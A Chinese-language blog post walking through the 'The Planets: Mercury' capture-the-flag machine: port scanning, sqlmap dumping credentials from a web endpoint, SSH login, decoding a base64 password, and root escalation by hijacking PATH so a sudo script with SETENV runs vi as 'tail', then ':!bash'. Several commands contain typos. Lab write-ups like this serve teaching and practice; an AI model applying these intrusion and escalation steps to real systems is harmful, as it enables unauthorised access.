THE PLANETS MERCURY -环境变量的设置提权以及SETENV的理解

主机发现

sudo nmap -sT --min-rate 10000 -p- 192.168.28.32 -oA nmapscan/ports

sudo nmap -sT -sC -sV -O -p22,8080 192.168.28.3 -oA nmapscan/detail

sudo nmap -sU --top-ports 20  192.168.28.3 -oA nmapscan/udp

sudo nmap --script=vuln -p22,8080 192.168.28.3 -oA nmapscan/vuln

访问http网页

同时进行爆破目录

sudo dir -u http://xx -w xx 

访问网页时必须要读全todolist,根据开发习惯和交互行问推断技术和可能的漏洞

根据提示不断点击发现一个具有数字id的提示

 利用这个进行sqlmap跑看看能否跑出

sudo sqlmap -u http://xx.xx.xx.xx:8080/mercuryfacts/1 --dbms mysql --dbs --batch#跑出数据库 

 获得用户密码

发现账户密码尝试ssh登录

ssh@xx.xx.xx.xx

成功getshell

权限查看

whoami  uname -a   lsb_release -a(内核版本)  ip a  sudo -l  cat /etc/crontab

查看家目录是否有flag同时发现一个目录

进入此目录并查看txt发现了账号和base64加密的密码对linuxmaster账户的密码进行解密

 切换的linuxmaster用户

su linuxmaster  xx

查看whoami   ip a   sudo -l   cat /etc/crontab

sudo -l

 利用root账号需要设置一个环境变量才能执行check_syslog.sh这个脚本

查看check_syslog.sh的脚本

可以发现是tail命令运行

通过路径优先查找的方式进行提权

1.用户家目录设置软连接

ln -s /bin/vi tail

2.将当前路径设置为环境变量

export PATH=.:$PATH

#验证

echo $PATH

3.根据SETENV设置环境变量并执行脚本

sudo --preserver-env=PATH /usr/bin/check_syslog.sh

sudo的SETENV标记表示允许用户设置环境变量,而--preserve-env选项表示保留当前环境变量并传递给执行的命令

sudo --preverse-env=PATH /usr/bin/check_syslog.sh 

成功执行了脚本,因为tail在环境变量中指向的时/bin/vi所以成功打开了一个vi界面

在vi界面进行提权的语句时 :!bash

 成功提权

posted @ 2023-05-04 10:53  lisenMiller  阅读(88)  评论(0编辑  收藏  举报